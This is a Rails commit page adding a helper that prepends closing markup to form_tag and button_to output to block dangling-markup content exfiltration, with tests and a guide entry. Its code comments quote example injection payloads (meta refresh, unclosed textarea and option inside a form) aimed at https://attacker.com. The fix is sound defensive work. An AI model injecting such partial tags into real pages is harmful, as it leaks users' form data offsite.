Skip to content

Commit

Permalink
Merge pull request #44472 from camertron/content_injection_prevention
Browse files Browse the repository at this point in the history
Add additional content injection prevention to form HTML
  • Loading branch information
matthewd committed Aug 15, 2022
2 parents 08af60e + 59ead53 commit cb5765a
Show file tree
Hide file tree
Showing 8 changed files with 130 additions and 2 deletions.
2 changes: 2 additions & 0 deletions actionview/lib/action_view/helpers.rb
Expand Up @@ -12,6 +12,7 @@
require "action_view/helpers/asset_url_helper"
require "action_view/helpers/atom_feed_helper"
require "action_view/helpers/cache_helper"
require "action_view/helpers/content_exfiltration_prevention_helper"
require "action_view/helpers/controller_helper"
require "action_view/helpers/csp_helper"
require "action_view/helpers/csrf_helper"
Expand Down Expand Up @@ -45,6 +46,7 @@ def self.eager_load!
include AtomFeedHelper
include CacheHelper
include CaptureHelper
include ContentExfiltrationPreventionHelper
include ControllerHelper
include CspHelper
include CsrfHelper
Expand Down
@@ -0,0 +1,68 @@
# frozen_string_literal: true

module ActionView
module Helpers
module ContentExfiltrationPreventionHelper
mattr_accessor :prepend_content_exfiltration_prevention, default: false

# Close any open attributes before each form tag. This prevents attackers from
# injecting partial tags that could leak markup offsite.
#
# For example, an attacker might inject:
#
# <meta http-equiv="refresh" content='0;URL=https://attacker.com?
#
# The HTML following this tag, up until the next single quote would be sent to
# https://attacker.com. By closing any open attributes, we ensure that form
# contents are never exfiltrated this way.
CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze

# Close any open tags that support CDATA (textarea, xmp) before each form tag.
# This prevents attackers from injecting unclosed tags that could capture
# form contents.
#
# For example, an attacker might inject:
#
# <form action="https://attacker.com"><textarea>
#
# The HTML following this tag, up until the next `</textarea>` or the end of
# the document would be captured by the attacker's <textarea>. By closing any
# open textarea tags, we ensure that form contents are never exfiltrated.
CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze

# Close any open option tags before each form tag. This prevents attackers
# from injecting unclosed options that could leak markup offsite.
#
# For example, an attacker might inject:
#
# <form action="https://attacker.com"><option>
#
# The HTML following this tag, up until the next `</option>` or the end of
# the document would be captured by the attacker's <option>. By closing any
# open option tags, we ensure that form contents are never exfiltrated.
CLOSE_OPTION_TAG = "</option>".html_safe.freeze

# Close any open form tags before each new form tag. This prevents attackers
# from injecting unclosed forms that could leak markup offsite.
#
# For example, an attacker might inject:
#
# <form action="https://attacker.com">
#
# The form elements following this tag, up until the next `</form>` would be
# captured by the attacker's <form>. By closing any open form tags, we
# ensure that form contents are never exfiltrated.
CLOSE_FORM_TAG = "</form>".html_safe.freeze

CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze

def prevent_content_exfiltration(html)
if prepend_content_exfiltration_prevention
CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
else
html
end
end
end
end
end
5 changes: 4 additions & 1 deletion actionview/lib/action_view/helpers/form_tag_helper.rb
@@ -1,6 +1,7 @@
# frozen_string_literal: true

require "cgi"
require "action_view/helpers/content_exfiltration_prevention_helper"
require "action_view/helpers/url_helper"
require "action_view/helpers/text_helper"
require "active_support/core_ext/string/output_safety"
Expand All @@ -19,6 +20,7 @@ module FormTagHelper

include UrlHelper
include TextHelper
include ContentExfiltrationPreventionHelper

mattr_accessor :embed_authenticity_token_in_remote_forms
self.embed_authenticity_token_in_remote_forms = nil
Expand Down Expand Up @@ -980,7 +982,8 @@ def extra_tags_for_form(html_options)

def form_tag_html(html_options)
extra_tags = extra_tags_for_form(html_options)
tag(:form, html_options, true) + extra_tags
html = tag(:form, html_options, true) + extra_tags
prevent_content_exfiltration(html)
end

def form_tag_with_body(html_options, content)
Expand Down
5 changes: 4 additions & 1 deletion actionview/lib/action_view/helpers/url_helper.rb
Expand Up @@ -3,6 +3,7 @@
require "active_support/core_ext/array/access"
require "active_support/core_ext/hash/keys"
require "active_support/core_ext/string/output_safety"
require "action_view/helpers/content_exfiltration_prevention_helper"
require "action_view/helpers/tag_helper"

module ActionView
Expand All @@ -22,6 +23,7 @@ module UrlHelper
extend ActiveSupport::Concern

include TagHelper
include ContentExfiltrationPreventionHelper

module ClassMethods
def _url_for_modules
Expand Down Expand Up @@ -380,7 +382,8 @@ def button_to(name = nil, options = nil, html_options = nil, &block)
autocomplete: "off")
end
end
content_tag("form", inner_tags, form_options)
html = content_tag("form", inner_tags, form_options)
prevent_content_exfiltration(html)
end

# Creates a link tag of the given +name+ using a URL created by the set of
Expand Down
6 changes: 6 additions & 0 deletions actionview/lib/action_view/railtie.rb
Expand Up @@ -13,6 +13,7 @@ class Railtie < Rails::Engine # :nodoc:
config.action_view.image_loading = nil
config.action_view.image_decoding = nil
config.action_view.apply_stylesheet_media_default = true
config.action_view.prepend_content_exfiltration_prevention = false

config.eager_load_namespaces << ActionView

Expand Down Expand Up @@ -40,6 +41,11 @@ class Railtie < Rails::Engine # :nodoc:
end
end

config.after_initialize do |app|
prepend_content_exfiltration_prevention = app.config.action_view.delete(:prepend_content_exfiltration_prevention)
ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = prepend_content_exfiltration_prevention
end

config.after_initialize do |app|
button_to_generates_button_tag = app.config.action_view.delete(:button_to_generates_button_tag)
unless button_to_generates_button_tag.nil?
Expand Down
23 changes: 23 additions & 0 deletions actionview/test/template/form_tag_helper_test.rb
Expand Up @@ -912,6 +912,20 @@ def test_image_label_tag_options_symbolize_keys_side_effects
assert_equal({ option: "random_option" }, options)
end

def test_content_exfiltration_prevention
with_prepend_content_exfiltration_prevention(true) do
actual = form_tag
expected = %(<!-- '"` --><!-- </textarea></xmp> --></option></form>#{whole_form})
assert_dom_equal expected, actual
end
end

def test_form_with_content_exfiltration_prevention_is_html_safe
with_prepend_content_exfiltration_prevention(true) do
assert_equal true, form_tag.html_safe?
end
end

def protect_against_forgery?
false
end
Expand All @@ -929,4 +943,13 @@ def with_default_enforce_utf8(value)
ensure
ActionView::Helpers::FormTagHelper.default_enforce_utf8 = old_value
end

def with_prepend_content_exfiltration_prevention(value)
old_value = ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention
ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = value

yield
ensure
ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = old_value
end
end
19 changes: 19 additions & 0 deletions actionview/test/template/url_helper_test.rb
Expand Up @@ -402,6 +402,15 @@ def test_button_to_generates_input_when_button_to_generates_button_tag_false
ActionView::Helpers::UrlHelper.button_to_generates_button_tag = old_value
end

def test_button_to_with_content_exfiltration_prevention
with_prepend_content_exfiltration_prevention(true) do
assert_dom_equal(
%{<!-- '"` --><!-- </textarea></xmp> --></option></form><form method="post" action="http://www.example.com" class="button_to"><button type="submit">Hello</button></form>},
button_to("Hello", "http://www.example.com")
)
end
end

class FakeParams
def initialize(permitted = true)
@permitted = permitted
Expand Down Expand Up @@ -1036,6 +1045,16 @@ def form_authenticity_token(**)
def request_forgery_protection_token
"form_token"
end

private
def with_prepend_content_exfiltration_prevention(value)
old_value = ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention
ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = value

yield
ensure
ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = old_value
end
end

class UrlHelperControllerTest < ActionController::TestCase
Expand Down
4 changes: 4 additions & 0 deletions guides/source/configuring.md
Expand Up @@ -1749,6 +1749,10 @@ The default value depends on the `config.load_defaults` target version:
| (original) | `true` |
| 7.0 | `false` |

#### `config.action_view.prepend_content_exfiltration_prevention`

Determines whether or not the `form_tag` and `button_to` helpers will produce HTML tags prepended with browser-safe (but technically invalid) HTML that guarantees their contents cannot be captured by any preceding unclosed tags. The default value is `false`.

### Configuring Action Mailbox

`config.action_mailbox` provides the following configuration options:
Expand Down

0 comments on commit cb5765a

Please sign in to comment.